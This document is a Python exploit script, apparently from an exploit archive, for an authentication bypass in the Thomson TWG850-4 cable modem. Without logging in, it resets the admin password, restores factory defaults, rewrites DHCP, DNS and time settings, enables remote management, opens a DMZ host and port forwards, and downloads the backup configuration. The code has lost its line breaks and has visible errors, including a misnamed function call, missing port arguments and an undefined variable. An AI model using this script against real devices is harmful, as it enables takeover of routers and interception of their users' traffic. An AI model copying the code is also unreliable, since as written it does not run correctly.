Thomson Wireless VoIP Cable Modem – Authentication Bypass
# Exploit Title: Thomson Wireless VoIP Cable Modem Auth Bypass # Date: February 22, 2011 # Author(s): Glafkos Charalambous, George Nicolaou # Product: TWG850-4 Wireless VoIP Cable Modem # Software Version: ST9A.01.06 # Severity: High # Other Vulnerabilities: # Unauthenticated Backup File Access, # Plaintext Protocol succeptible to sniffing attacks import argparse import httplib import urllib import urllib2 def http_post( ip, port, request, params ): headers = { "User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1", "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language":"en-us;en;q=0.5", "Accept-Encoding":"gzip, deflate", "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7", "Keep-Alive":"115", "Connection":"keep-alive", "Content-type":"application/x-www-form-urlencoded" } con = httplib.HTTPConnection(ip,port) con.request("POST", request, params, headers) response = con.getresponse() def block_domain( ip, port, host ): http_post( ip,port, "/goform/RgUrlBlock", urllib.urlencode( {"cbDomainBlocking":"0x2","BasicParentalNewKeyword":0, "BasicParentalKeywordAction":0, "BasicParentalDomainList":0, "BasicParentalNewDomain":host,"BasicParentalDomainAction":1} ) ) def block_keyword( ip, port, host ): http_post( ip,port, "/goform/RgUrlBlock", urllib.urlencode( {"cbKeywordBlocking":"0x1", "BasicParentalNewKeyword":host,"BasicParentalKeywordAction":1, "BasicParentalNewDomain":"0", "BasicParentralDomainAction":0} ) ) def password_reset( ip, port, user="admin", passwd="admin" ): http_post(ip,port, "/goform/RgSecurity", urllib.urlencode({"HttpUserId":user, "Password":passwd, "PasswordReEnter":passwd, "RestoreFactoryYes":"0x00" }) ) def factory_defaults( ip, port, user="admin", passwd="admin" ): http_post(ip,port, "/goform/RgSecurity", urllib.urlencode({"HttpUserId":user, "Password":passwd, "PasswordReEnter":passwd, "RestoreFactoryYes":"0x01" }) ) def dhcp_config( ip, port, localip="10.1.0.1", localsub="255.255.255.0", leasepoolstart="10.1.0.10", leasepoolend="10.1.0.100" ): http_post(ip,port, "/goform/RgSetup", urllib.urlencode({"LocalIpAddressIP":localip, "LocalSubnetMask":localsub, "DhcpServerEnable":"0x1000", "DhcpLeasePoolStartLAN":leasepoolstart, "DhcpLeasePoolEndLAN":leasepoolend, "LeaseTime":"604800" }) ) def dyn_dns( ip, port, dnsuser="user", dnspass="pass", dnshost="host.dyndns.org" ): http_post(ip,port, "/goform/RgDdns", urllib.urlencode({"DdnsService":1, "DdnsUserName":dnsuser, "DdnsPassword":dnspass, "DdnsHostName":dnshost }) ) def sntp_set( ip, port, server1="clock.via.net", tserver2="ntp.nasa.gov", tserver3="tick.ucla.edu" ): http_post(ip,port, "/goform/RgTime", urllib.urlencode({"TimeSntpEnable":1, "TimeServer1":tserver1, "TimeServer2":tserver2, "TimeServer3":tserver3, "TimeZoneOffsetHrs":0, "TimeZoneOffsetMins":0, "ResetSntpDefaults":0 }) ) def backup_config( ip, port, fName="GatewaySettings.bin" ): u = urllib2.urlopen('http://' + ip+":"+port + '/GatewaySettings.bin') lFile = open(fName, 'w') print "File "+fName+" saved successfully" lFile.write(u.read()) lFile.close() def remote_manage( ip, port, status ): if status == 'enable': http_post(ip,port, "/goform/RgOptions", urllib.urlencode({"cbIpsecPassThrough":"0x20", "cbPptpPassThrough":"0x40", "cbRemoteManagement":"0x80", "cbOptMulticast": "0x20000", "cbOptUPnP":"0x200000", "cbOptNatSipAlg":"0x89"}) ) elif status == 'disable': http_post(ip,port, "/goform/RgOptions", urllib.urlencode({"cbIpsecPassThrough":"0x20", "cbPptpPassThrough":"0x40", "cbOptMulticast": "0x20000", "cbOptUPnP":"0x200000", "cbOptNatSipAlg":"0x89"}) ) else: print "The argument you specified is not accepted" def dmz_set( ip, port, dmzhost ): http_post(ip,port, "/goform/RgDmzHost", urllib.urlencode({"DmzHostIP3":dmzhost}) ) def port_forward( ip, port, localip, startport, endport ): http_post(ip,port, "/goform/RgForwarding", urllib.urlencode({"PortForwardAddressLocal1IP3":localip, "PortForwardPortGlobalStart1":startport , "PortForwardPortGlobalEnd1":endport , "PortForwardProtocol1":"254", "PortForwardEnable1":"0x01" }) ) def main(): status = ['enable', 'disable'] argp = argparse.ArgumentParser(description='Thomson Cable Modem Auth Bypass v0.1') argp.add_argument("-pr", "--password_reset", nargs=2, help="Reset Admin Account", metavar=("user","pass")) argp.add_argument("-fd", "--factory_default", nargs=2, help="Reset Factory Defaults", metavar=("user","pass")) argp.add_argument("-bk", "--block_keyword", help="Block Web Access based on Keyword(s)", metavar="keywrd1,keywrd2,...,keywrdN") argp.add_argument("-bd", "--block_domain", help="Block Web Access to Specific Domain(s)",metavar="domain1,domain2,...,domainN") argp.add_argument("-dc", "--dhcp_config", nargs=4, help="Configure DHCP Settings",metavar=("localip","localsub","leasepoolstart", "leasepoolend")) argp.add_argument("-dd", "--dyn_dns", nargs=3, help="Configure Dynamic DNS",metavar=("user", "pass", "host")) argp.add_argument("-ss", "--sntp_set", nargs=3, help="Configure SNTP Settings",metavar=("timeserver1", "timeserver2", "timeserver3")) argp.add_argument("-bg", "--backup_config", help="Download Backup Configuration", metavar=("filename")) argp.add_argument("-rm", "--remote_manage", help="Enable Remote Config Management", metavar=("enable/disable")) argp.add_argument("-ds", "--dmz_set", help="Set DMZ Host. Use last 3 digits for IP Address", metavar=("ip")) argp.add_argument("-pf", "--port_forward", nargs=3, help="Configure Port Forwarding", metavar=("ip", "startport", "endport")) argp.add_argument("IP", help="IP Address") argp.add_argument("PORT", help="Port Number") args = argp.parse_args() if(args.password_reset != None): password_reset( args.IP, args.password_reset[0], args.password_reset[1] ) if(args.factory_default != None): factory_default( args.IP, args.factory_default[0], args.factory_default[1] ) if(args.block_keyword != None): for keyword in args.block_keyword.split(","): block_keyword(args.IP, keyword) if(args.block_domain != None): for domain in args.block_domain.split(","): block_domain( args.IP, domain ) if(args.dhcp_config != None): dhcp_config( args.IP, args.dhcp_config[0], args.dhcp_config[1], args.dhcp_config[2], args.dhcp_config[3] ) if(args.dyn_dns != None): dyn_dns( args.IP, args.dyn_dns[0], args.dyn_dns[1], args.dyn_dns[2] ) if(args.sntp_set != None): sntp_set( args.IP, args.sntp_set[0], args.sntp_set[1], args.sntp_set[2] ) if(args.backup_config != None): backup_config( args.IP, args.backup_config ) if(args.remote_manage != None): remote_manage( args.IP, args.PORT, args.remote_manage ) if(args.dmz_set != None): dmz_set( args.IP, args.PORT, int( args.dmz_set )) if(args.port_forward != None): port_forward( args.IP, args.PORT, args.port_forward[0], args.port_forward[1], args.port_forward[2] ) if __name__ == "__main__": main() |